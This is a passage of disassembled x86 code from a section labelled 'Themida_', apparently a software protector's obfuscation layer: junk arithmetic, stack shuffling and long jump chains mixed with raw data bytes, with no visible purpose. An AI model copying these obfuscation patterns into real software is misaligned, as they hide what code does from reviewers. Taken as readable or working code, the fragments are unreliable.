		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5A73:				; CODE XREF: Themida_:005A37AFj
		movzx	ax, byte ptr [eax]
		push	small 6358h
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5A84:				; CODE XREF: Themida_:0059CDBAj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 1A587E3Bh
		pop	ebp
		add	edx, 19421BE9h
		and	edx, 104772D4h
		jmp	loc_5AD99D
; ---------------------------------------------------------------------------


loc_5A5AA2:				; CODE XREF: Themida_:005AA85Bj
		add	eax, 34DEEA45h
		jmp	loc_5A3000
; ---------------------------------------------------------------------------
		dd 1AF268h, 24048900h, 4055854h, 57000000h, 4BFh, 5FF80100h
		dd 1666E9h, 242C8700h, 8D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A5AD1:				; CODE XREF: Themida_:0059D301j
		sub	ecx, 0A06149A9h
		add	ebx, 5D431BFEh
		add	ebx, ecx
		push	edx
		mov	edx, 559D1737h
		sub	edx, 2B666B33h
		shr	edx, 7
		shl	edx, 2
		shl	edx, 8
		xor	edx, 91F304Ah
		add	edx, 498CBB4h
		sub	ebx, edx
		pop	edx
		pop	ecx
		add	ecx, 76382C2Ch
		add	ecx, ebx
		sub	ecx, 76382C2Ch
		mov	ebx, [esp]
		jmp	loc_59EC7B
; ---------------------------------------------------------------------------


loc_5A5B1A:				; CODE XREF: Themida_:005AE11Cj
		dec	eax
		and	eax, 707C7C23h
		jmp	loc_5A2857
; ---------------------------------------------------------------------------


loc_5A5B25:				; CODE XREF: Themida_:005AAB16j
		pop	esp
		jmp	loc_5A34B0
; ---------------------------------------------------------------------------


loc_5A5B2B:				; CODE XREF: Themida_:005AAEFFj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	76C2h
		mov	[esp], esi
		push	ebp
		jmp	loc_59F5A4
; ---------------------------------------------------------------------------


loc_5A5B47:				; CODE XREF: Themida_:005997C1j
		mov	eax, 3C43AB30h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	[edi+24h], eax
		pop	eax


loc_5A5B74:				; CODE XREF: Themida_:0059C225j
		push	edx
		push	256Ah
		jmp	loc_5ADB0E
; ---------------------------------------------------------------------------


loc_5A5B7F:				; CODE XREF: Themida_:005A39B5j
		dec	ecx
		jge	loc_598EF8
		xor	ecx, 626A0381h
		jmp	loc_59FCEA
; ---------------------------------------------------------------------------
		db 53h,	5Eh
; ---------------------------------------------------------------------------


loc_5A5B93:				; CODE XREF: Themida_:00598EAAj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A1999
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 243C3304h, 33243C31h, 0A9E9243Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5BB3:				; CODE XREF: Themida_:005AA032j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59C720
; ---------------------------------------------------------------------------


loc_5A5BC1:				; CODE XREF: Themida_:005ADDF8j
		or	eax, ecx
		pop	ecx
		push	edx
		push	19B04F4h
		mov	edx, [esp]
		jmp	loc_5A4184
; ---------------------------------------------------------------------------


loc_5A5BD2:				; CODE XREF: Themida_:0059FE7Cj
		pop	eax
		push	ebp
		jmp	loc_59CC3E
; ---------------------------------------------------------------------------


loc_5A5BD9:				; CODE XREF: Themida_:005A86C9j
		xchg	edi, [esp]
		pop	esi
		push	edx
		mov	edx, 0F0998723h
		xor	esi, edx
		pop	edx
		jmp	loc_59D9A3
; ---------------------------------------------------------------------------


loc_5A5BEB:				; CODE XREF: Themida_:005A2C3Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_5AAF34
; ---------------------------------------------------------------------------


loc_5A5C00:				; CODE XREF: Themida_:005A4536j
		mov	ecx, 5EBD6D4Ch
		sub	ebx, 778A5AAAh
		sub	ebx, ecx
		push	esi
		mov	esi, 1F5734A7h
		xor	esi, 15F37557h
		inc	esi
		add	esi, 67AA28FEh
		add	esi, 377E1893h
		shl	esi, 8
		push	ecx
		mov	ecx, 0C7411Fh
		add	ecx, 5D4E3EFAh
		shl	ecx, 5
		neg	ecx
		not	ecx
		add	ecx, 0E856D58Bh
		add	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		pop	ecx
		push	eax
		mov	eax, 53B3310Ch
		inc	eax
		xor	eax, 194164C2h
		add	ebx, eax
		pop	eax
		add	ebx, 5AB94950h
		push	dword ptr [esp]
		jmp	loc_5A1101
; ---------------------------------------------------------------------------


loc_5A5C66:				; CODE XREF: Themida_:005A41CAj
		mov	eax, [esp]
		jmp	loc_5AD216
; ---------------------------------------------------------------------------
		dw 483h
		dd 40E90424h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5C77:				; CODE XREF: Themida_:005AABC2j
					; Themida_:005AD246j
		mov	esi, 78BE426Bh
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 74DF6CCEh
		and	ebx, eax
		pop	eax
		jmp	loc_599C97
; ---------------------------------------------------------------------------


loc_5A5C8D:				; CODE XREF: Themida_:005A2FC4j
					; Themida_:005A42C1j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5AC674
; ---------------------------------------------------------------------------
		dd 405h, 4BE5600h, 0E9000000h, 7F78h
; ---------------------------------------------------------------------------


loc_5A5CB0:				; CODE XREF: Themida_:005A5074j
		mov	eax, [esp]
		push	7C83h
		jmp	loc_59E027
; ---------------------------------------------------------------------------


loc_5A5CBD:				; CODE XREF: Themida_:00598A3Aj
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 7C306788h
		jmp	loc_5A6E99
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 2Ch
		dd 531D1324h, 2404011Bh, 0FFDB1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5CDD:				; CODE XREF: Themida_:005986E6j
		mov	esi, 413D1BCBh
		add	ecx, esi
		jmp	loc_5ADF70
; ---------------------------------------------------------------------------


loc_5A5CE9:				; CODE XREF: Themida_:005A7A37j
		push	ecx
		mov	ch, 0CEh
		or	ch, 6Fh
		xor	ch, 20h
		jmp	loc_5A7FE0
; ---------------------------------------------------------------------------


loc_5A5CF7:				; CODE XREF: Themida_:005A6375j
		xor	eax, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 68h
		dd 6D3926A5h, 0FD8F758h, 1AF68Eh, 45680D00h, 8E9091Dh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5D1F:				; CODE XREF: Themida_:005A6401j
		add	al, 2Eh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 25h
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_5AF2CE
; ---------------------------------------------------------------------------


loc_5A5D33:				; CODE XREF: Themida_:00598EC9j
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5AB421
; ---------------------------------------------------------------------------


loc_5A5D48:				; CODE XREF: Themida_:0059BB97j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	8000h
		push	dword ptr [esp]
		jmp	loc_5AB9D6
; ---------------------------------------------------------------------------


loc_5A5D5F:				; CODE XREF: Themida_:005AD9F2j
		and	ecx, 151F1E61h
		js	loc_5AF10D
		add	ecx, 25A052AFh
		jb	loc_59E5E8
		or	ecx, 4B6E6129h
		jmp	loc_5997F6
; ---------------------------------------------------------------------------


loc_5A5D82:				; CODE XREF: Themida_:0059925Cj
					; Themida_:0059E6CAj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		jmp	loc_5A6E7F
; ---------------------------------------------------------------------------


loc_5A5D8D:				; CODE XREF: Themida_:005AC606j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_598E7E
; ---------------------------------------------------------------------------


loc_5A5D9E:				; CODE XREF: Themida_:loc_5A83A4j
		jmp	loc_5AEF51
; ---------------------------------------------------------------------------


loc_5A5DA3:				; CODE XREF: Themida_:005A21FFj
		mov	esi, esp
		push	edi
		jmp	loc_598740
; ---------------------------------------------------------------------------
		db 89h
		dd 74015DEEh, 34FF0824h, 24348B24h, 88E7E955h, 48B0000h
		dd 0E3895324h, 34D268h,	1602E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5DCE:				; CODE XREF: Themida_:005A1E21j
		push	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	70A05678h
		pop	ebx
		shr	ebx, 5
		not	ebx
		add	ebx, 5359151Fh
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5AB176
; ---------------------------------------------------------------------------


loc_5A5DF1:				; CODE XREF: Themida_:005A6B41j
		mov	edx, 30DF1320h
		xor	edx, 3B16104Ah
		dec	edx
		js	loc_5A252A
		jmp	loc_59C9C5
; ---------------------------------------------------------------------------


loc_5A5E08:				; CODE XREF: Themida_:005A549Fj
					; Themida_:005A8349j
		pop	eax
		sub	eax, 317A494Ch
		jg	loc_5AC242
		jmp	loc_5A30DB
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 0FFh
		dd 66D4E947h, 34FFFFFFh, 2434FF24h, 4C4835Ah, 160568h
		dd 24048900h, 0FF6A7CE9h, 66853FFh, 0E954965Dh,	877h
; ---------------------------------------------------------------------------


loc_5A5E44:				; CODE XREF: Themida_:005AA009j
		mov	[esp], eax
		push	esi
		push	62655D88h
		jmp	loc_5A831E
; ---------------------------------------------------------------------------


loc_5A5E52:				; CODE XREF: Themida_:005AA9FAj
		add	esp, 4
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		jmp	loc_5AB75A
; ---------------------------------------------------------------------------


loc_5A5E62:				; CODE XREF: Themida_:005A30E4j
					; Themida_:005A8176j
		and	ebx, 76AB74C6h
		push	ecx
		push	ebp
		mov	ebp, 31ECD04Dh
		mov	ecx, ebp
		jmp	loc_5A80D9
; ---------------------------------------------------------------------------


loc_5A5E76:				; CODE XREF: Themida_:0059BCFEj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		push	73D2h
		mov	[esp], ecx
		jmp	loc_59DB35
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFC9EAh
; ---------------------------------------------------------------------------


loc_5A5EA8:				; CODE XREF: Themida_:00598F9Ej
		pop	esp
		jmp	loc_5AF0F4
; ---------------------------------------------------------------------------


loc_5A5EAE:				; CODE XREF: Themida_:0059D747j
		mov	esp, [esp]
		jmp	loc_5AD80F
; ---------------------------------------------------------------------------


loc_5A5EB6:				; CODE XREF: Themida_:005AD48Dj
					; Themida_:loc_5AEA48j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59D478
; ---------------------------------------------------------------------------


loc_5A5ECD:				; CODE XREF: Themida_:005A4CD0j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A5393
; ---------------------------------------------------------------------------
		db 0C1h
		dd 850F05EEh, 82A6h, 230FE9h, 24248B00h, 5C240489h
; ---------------------------------------------------------------------------


loc_5A5EF0:				; CODE XREF: Themida_:005A3A6Ej
		add	esi, edx
		jmp	loc_59A485
; ---------------------------------------------------------------------------


loc_5A5EF7:				; CODE XREF: Themida_:005A1220j
		sub	bl, 0F3h
		jmp	loc_5AC0FC
; ---------------------------------------------------------------------------


loc_5A5EFF:				; CODE XREF: Themida_:005A2AD3j
		xor	ebx, 184E6F65h
		shl	ebx, 1
		not	ebx
		neg	ebx
		sub	ebx, 8F6852C7h
		add	eax, ebx
		jmp	loc_5A49EA
; ---------------------------------------------------------------------------


loc_5A5F18:				; CODE XREF: Themida_:005AC967j
		mov	esi, ecx
		pop	ecx
		not	esi
		push	0
		sub	[esp], esi
		pop	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_5A869A
; ---------------------------------------------------------------------------


loc_5A5F2F:				; CODE XREF: Themida_:005A1778j
		push	edi
		mov	edi, 4
		jmp	loc_5ACCC9
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 576DB924h, 94E92C18h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5F47:				; CODE XREF: Themida_:loc_5AF14Cj
		add	ebp, 1C40B24h
		xor	ebp, 0B931F36h
		xor	ebp, 0B1CE7D06h
		mov	edi, ebp
		jmp	loc_5A3B5C
; ---------------------------------------------------------------------------


loc_5A5F60:				; CODE XREF: Themida_:005A70CDj
		mov	[esp], ebp
		mov	ebp, 709716B0h
		or	esi, ebp
		jmp	loc_5A2410
; ---------------------------------------------------------------------------
		db 68h
		dd 564h, 81243C89h, 58D62434h, 815A2100h, 58D6F2h, 0EA815F21h
		dd 6E9A73C4h, 0FF5E7CE9h, 4EC83FFh, 89240C89h, 66D568E1h
		dd 34890000h, 4BE24h, 0F1010000h, 0BF57535Eh, 12C25D61h
		dd 312ACF81h, 0EFE97B56h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5FBB:				; CODE XREF: Themida_:0059D52Cj
		mov	eax, 49F653A0h
		xor	eax, 6ED86514h
		not	eax
		sub	eax, 0A9BC935Ch
		dec	eax
		inc	eax
		add	eax, 5FB442FFh
		push	edi
		mov	edi, 8A9BBEE0h
		sub	eax, 780106C7h
		add	eax, edi
		add	eax, 780106C7h
		pop	edi
		jmp	loc_5AA7B3
; ---------------------------------------------------------------------------


loc_5A5FEB:				; CODE XREF: Themida_:005A4578j
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 45342B63h
		sub	ebp, 39132945h
		push	ecx
		mov	ecx, 11B44CD5h
		add	ebp, ecx
		pop	ecx
		neg	ebp
		and	ebp, 5B364BEDh
		neg	ebp
		sub	ebp, 0BDDDFEEFh
		jmp	loc_59CBD2
; ---------------------------------------------------------------------------


loc_5A6040:				; CODE XREF: Themida_:0059D0BCj
		neg	dh
		jz	loc_59A843
		xor	dh, 40h
		push	eax
		mov	al, dh
		mov	bh, al
		jmp	loc_599449
; ---------------------------------------------------------------------------


loc_5A6055:				; CODE XREF: Themida_:0059D04Bj
					; Themida_:005A4FC6j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A3052
; ---------------------------------------------------------------------------


loc_5A6060:				; CODE XREF: Themida_:005ABB18j
		jle	loc_5A727E
		jmp	loc_5A140C
; ---------------------------------------------------------------------------


loc_5A606B:				; CODE XREF: Themida_:005A2F6Cj
		pop	ecx
		sub	ecx, 8AC761Eh
		mov	eax, [esp]
		jmp	loc_5AE7E3
; ---------------------------------------------------------------------------


loc_5A607A:				; CODE XREF: Themida_:0059B1B8j
		xor	ebp, 0EC2FC02Bh
		jmp	loc_5A3653
; ---------------------------------------------------------------------------
		db 58h,	28h, 0DAh
		dd 80AAC280h, 0EA804BEAh, 0C05B662Eh, 7DE904E2h, 55000077h
		dd 641F4CBDh, 35E6E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A60A6:				; CODE XREF: Themida_:0059AE55j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5A782C
; ---------------------------------------------------------------------------


loc_5A60B2:				; CODE XREF: Themida_:005ADD20j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A2FE0
; ---------------------------------------------------------------------------
		dw 4481h
		dd 6AA00424h, 48B250Ch,	8422E924h, 0FF66FFFFh, 22AEE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A60DE:				; CODE XREF: Themida_:005A145Aj
		push	87A7F69h
		pop	ebp
		neg	ebp
		jmp	loc_5A2204
; ---------------------------------------------------------------------------


loc_5A60EB:				; CODE XREF: Themida_:005A0E86j
		and	ebx, 68BB541Dh
		jmp	loc_5A3A49
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54562404h, 0E953525Eh, 0FFFFDFE3h
; ---------------------------------------------------------------------------


loc_5A6104:				; CODE XREF: Themida_:005A7D05j
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5A639A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFCCADh
; ---------------------------------------------------------------------------


loc_5A6120:				; CODE XREF: Themida_:0059A666j
		or	esi, 43DD54B5h
		sub	esi, 51F16E10h
		mov	edx, esi
		pop	esi
		add	edx, edi
		pop	edi
		jmp	loc_5AF293
; ---------------------------------------------------------------------------


loc_5A6137:				; CODE XREF: Themida_:0059A7D0j
		sub	edx, edi
		pop	edi
		jmp	loc_59E282
; ---------------------------------------------------------------------------


loc_5A613F:				; CODE XREF: Themida_:0059888Ej
					; Themida_:005A9BEEj
		push	4828h
		mov	[esp], edi
		jmp	loc_5A565D
; ---------------------------------------------------------------------------


loc_5A614C:				; CODE XREF: Themida_:0059EDC8j
		jmp	loc_5A9EAE
; ---------------------------------------------------------------------------
aYsH		db 'Yι½H',0
		db 0
; ---------------------------------------------------------------------------


loc_5A6157:				; CODE XREF: Themida_:005A38F2j
		pop	eax
		jmp	loc_5A84E6
; ---------------------------------------------------------------------------


loc_5A615D:				; CODE XREF: Themida_:005999FDj
		mov	[esp], edx
		mov	dh, 0Eh
		inc	dh
		shl	dh, 3
		jmp	loc_5A15FD
; ---------------------------------------------------------------------------


loc_5A616C:				; CODE XREF: Themida_:005A9D52j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A86F6
; ---------------------------------------------------------------------------


loc_5A6177:				; CODE XREF: Themida_:005A75DDj
		mov	edi, 4
		jmp	loc_598554
; ---------------------------------------------------------------------------


loc_5A6181:				; CODE XREF: Themida_:005A584Cj
		xchg	edx, [esp]
		jmp	loc_598578
; ---------------------------------------------------------------------------


loc_5A6189:				; CODE XREF: Themida_:loc_59E4E5j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A49D9
; ---------------------------------------------------------------------------
		dd 0E5814D45h, 72BE4115h, 50C468h, 5B58E900h, 0F2800000h
		dd 6E2C0A9h, 2FB05066h,	0FF3900E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A61B5:				; CODE XREF: Themida_:005A024Aj
		add	[esp+4], edi
		jmp	loc_5AB419
; ---------------------------------------------------------------------------


loc_5A61BE:				; CODE XREF: Themida_:005A412Aj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5A3620
; ---------------------------------------------------------------------------


loc_5A61D4:				; CODE XREF: Themida_:005A79FBj
		pop	ebx
		xor	eax, ebp
		pop	ebp
		push	eax
		add	dword ptr [esp], 418F645Dh
		pop	esi
		jmp	loc_5AA6E7
; ---------------------------------------------------------------------------


loc_5A61E6:				; CODE XREF: Themida_:0059C172j
					; Themida_:005A18BCj
		add	esp, 4
		add	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_59F87B
; ---------------------------------------------------------------------------


loc_5A61F7:				; CODE XREF: Themida_:0059E02Cj
		add	eax, 4
		push	ecx
		jmp	loc_59960E
; ---------------------------------------------------------------------------


loc_5A6202:				; CODE XREF: Themida_:005A7DF4j
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3423h
		mov	[esp], ebp
		jmp	loc_5985F6
; ---------------------------------------------------------------------------


loc_5A6223:				; CODE XREF: Themida_:loc_599407j
		push	eax
		push	ecx
		jmp	loc_599B5E
; ---------------------------------------------------------------------------


loc_5A622A:				; CODE XREF: Themida_:005A53B0j
		push	5E01h
		jmp	loc_5AC602
; ---------------------------------------------------------------------------


loc_5A6234:				; CODE XREF: Themida_:005A77FAj
		pop	ecx
		sub	bl, al
		sub	bl, 0D6h
		jmp	loc_59D74C
; ---------------------------------------------------------------------------


loc_5A623F:				; CODE XREF: Themida_:005AEB25j
		push	eax
		jmp	loc_5A1E1F
; ---------------------------------------------------------------------------


loc_5A6245:				; CODE XREF: Themida_:0059C1ADj
		and	ecx, 3AFB3689h
		jmp	loc_59A0BF
; ---------------------------------------------------------------------------
		dd 4C281h, 0E9530000h, 0FFFFD75Eh
; ---------------------------------------------------------------------------


loc_5A625C:				; CODE XREF: Themida_:005A7757j
		jb	loc_5AB1C0
		jmp	loc_5A9909
; ---------------------------------------------------------------------------


loc_5A6267:				; CODE XREF: Themida_:005AD7EEj
		push	eax
		jmp	loc_5995D6
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 7AE7E9h, 241C8B00h, 141FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A627D:				; CODE XREF: Themida_:005A74B4j
		sub	esp, 4
		jmp	loc_5A46E1
; ---------------------------------------------------------------------------


loc_5A6285:				; CODE XREF: Themida_:005A1667j
		or	cl, 58h
		add	cl, 6Ah
		xor	cl, 5Fh
		sub	dl, cl
		pop	ecx
		add	ah, dl
		jmp	loc_5A0033
; ---------------------------------------------------------------------------
		dd 3302C583h, 0C0E9242Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A62A3:				; CODE XREF: Themida_:005A4AB7j
		mov	[esp], edi
		push	ecx
		jmp	loc_5ACF5A
; ---------------------------------------------------------------------------


loc_5A62AC:				; CODE XREF: Themida_:00599A3Bj
		mov	eax, [esp]
		add	esp, 4
		or	eax, 462234B9h
		sub	eax, 2F1C24D1h
		jmp	loc_5AB9B0
; ---------------------------------------------------------------------------


loc_5A62C1:				; CODE XREF: Themida_:005A1DF4j
		pop	ecx
		jmp	loc_59FCEA
; ---------------------------------------------------------------------------


loc_5A62C7:				; CODE XREF: Themida_:005A1B7Aj
		sub	ebx, 0EBB5082h
		jmp	loc_5A0DF8
; ---------------------------------------------------------------------------


loc_5A62D2:				; CODE XREF: Themida_:0059C121j
					; Themida_:005A850Fj
		add	esp, 4
		jmp	loc_5A0837
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 0E9241C8Bh, 0FFFF8A10h
; ---------------------------------------------------------------------------


loc_5A62E4:				; CODE XREF: Themida_:005AA71Cj
		push	ebp
		mov	ebp, 1A233121h
		mov	eax, ebp
		jmp	loc_5A40A4
; ---------------------------------------------------------------------------


loc_5A62F1:				; CODE XREF: Themida_:005AAB63j
		mov	[esp], ebx
		mov	ebx, 533713B4h
		add	ebp, ebx
		pop	ebx
		add	edx, 7733893h
		jmp	loc_5A6AD7
; ---------------------------------------------------------------------------
		db 21h
		dd 0E99C2404h, 5A2Eh
; ---------------------------------------------------------------------------


loc_5A6310:				; CODE XREF: Themida_:0059851Ej
		push	14FCh
		mov	[esp], ebp
		push	0A29h
		mov	[esp], eax
		mov	eax, 61770B2Ah
		push	eax
		mov	eax, 667B6A0Eh
		jmp	loc_5A6C0D
; ---------------------------------------------------------------------------
		dd 7594C181h, 820F1707h, 0FFFFE1B6h, 5FCDE181h,	0D4E960A7h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6347:				; CODE XREF: Themida_:loc_5A07E6j
		jmp	loc_5AC60B
; ---------------------------------------------------------------------------


loc_5A634C:				; CODE XREF: Themida_:005AA97Aj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5AF4A2
; ---------------------------------------------------------------------------


loc_5A6357:				; CODE XREF: Themida_:005ADA98j
		mov	dl, 0A8h
		push	eax
		jmp	loc_5A4938
; ---------------------------------------------------------------------------


loc_5A635F:				; CODE XREF: Themida_:005A2536j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A5CF7
; ---------------------------------------------------------------------------
		dw 5559h
		dd 0FFEB42E9h, 4C483FFh, 0C6FEDEF6h, 283FEE80h,	7C05E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6392:				; CODE XREF: Themida_:0059B8F0j
		mov	[esp], ecx
		jmp	loc_5A3AD8
; ---------------------------------------------------------------------------


loc_5A639A:				; CODE XREF: Themida_:005A6110j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 48B2434h, 4C48324h, 0FF8F50E9h, 0C5814DFFh, 3C701333h
		dd 0FFF9EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A63C1:				; CODE XREF: Themida_:005A9CD6j
		jnz	loc_59DFFE
		dec	ebp
		jnp	loc_5A7D86
		push	ecx
		mov	ecx, 3AB0DC03h


loc_5A63D4:				; CODE XREF: Themida_:005A9B26j
		sub	eax, 0EDF6B7h
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 5DF95234h
		not	eax
		jmp	loc_5A9CBE
; ---------------------------------------------------------------------------


loc_5A63E9:				; CODE XREF: Themida_:005A2760j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 787B0B2Bh
		jmp	loc_5ABB3D
; ---------------------------------------------------------------------------


loc_5A63FA:				; CODE XREF: Themida_:005AF093j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A5D1F
; ---------------------------------------------------------------------------


loc_5A6406:				; CODE XREF: Themida_:005AEF90j
		mov	ecx, ebx
		jmp	loc_59B501
; ---------------------------------------------------------------------------
		db 52h,	68h, 7Dh
		dd 89000000h, 4812424h,	424h, 68535A00h, 2A98h,	0BA241489h
		dd 65320F66h, 320F6ABBh, 55C38165h, 29482459h, 55EB81D3h
		dd 5A482459h, 1C8BDA01h, 4C48324h, 8904EC83h, 0BB532434h
		dd 4073246Dh, 0FFE6ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6459:				; CODE XREF: Themida_:005AC300j
		mov	cl, 0A8h
		jmp	loc_5A4EB0
; ---------------------------------------------------------------------------
		dd 4F75B951h, 0CE012AA9h, 0E9DE0159h, 0FFFF9A1Eh
; ---------------------------------------------------------------------------


loc_5A6470:				; CODE XREF: Themida_:0059F6C4j
		add	eax, 97B635CAh
		or	esi, eax
		pop	eax
		xor	esi, 447C4946h
		push	edx
		jmp	loc_599C1C
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 30E90000h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6493:				; CODE XREF: Themida_:005AF1BFj
		shl	esi, 4
		jmp	loc_5A914D
; ---------------------------------------------------------------------------


loc_5A649B:				; CODE XREF: Themida_:005A5817j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A2E93
; ---------------------------------------------------------------------------


loc_5A64B0:				; CODE XREF: Themida_:0059DE92j
		neg	eax
		js	loc_59A9DC
		shr	eax, 4
		jp	loc_59A5B2
		shr	eax, 3
		jnz	loc_5AAD55
		jmp	loc_5A3947
; ---------------------------------------------------------------------------
aUisHiz		db 'Uˆι΅μhλz',0
		dd 0C2BDE900h, 0E95CFFFFh, 0FFFFC213h, 6624248Bh, 0E9240489h
		dd 0FFFF1E9Ch, 0EFB1F581h, 0EB813299h, 4CAF4F3Ch, 3200E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6501:				; CODE XREF: Themida_:005AD211j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A5417
; ---------------------------------------------------------------------------


loc_5A650C:				; CODE XREF: Themida_:0059B7E9j
					; Themida_:0059DFC7j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	bx
		add	al, 76h
		sub	al, dh
		jmp	loc_59B1F1
; ---------------------------------------------------------------------------


loc_5A652D:				; CODE XREF: Themida_:005A2A2Dj
		mov	[esp], edx
		push	2
		pop	edx
		add	ebx, 305A543Bh
		add	ebx, edx
		sub	ebx, 305A543Bh
		jmp	loc_5A7856
; ---------------------------------------------------------------------------


loc_5A6549:				; CODE XREF: Themida_:005AB8EBj
		pop	ecx
		push	edx
		jmp	loc_5A3996
; ---------------------------------------------------------------------------


loc_5A6550:				; CODE XREF: Themida_:005ABB90j
		add	bl, 7
		pop	dx
		pop	eax
		sub	esp, 2
		jmp	loc_5AE445
; ---------------------------------------------------------------------------
		db 5Fh,	0F7h, 0D6h
		dd 9040EE81h, 0F289137Bh, 28BD555Eh, 0E9337A1Fh, 0FFFF322Ah
; ---------------------------------------------------------------------------


loc_5A6578:				; CODE XREF: Themida_:0059E05Fj
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A1BFA
; ---------------------------------------------------------------------------


loc_5A6584:				; CODE XREF: Themida_:0059A4F9j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5E225E0h
		jmp	loc_59DDA0
; ---------------------------------------------------------------------------


loc_5A6595:				; CODE XREF: Themida_:0059BA7Fj
					; Themida_:0059C4BFj
		jnp	loc_5AA946
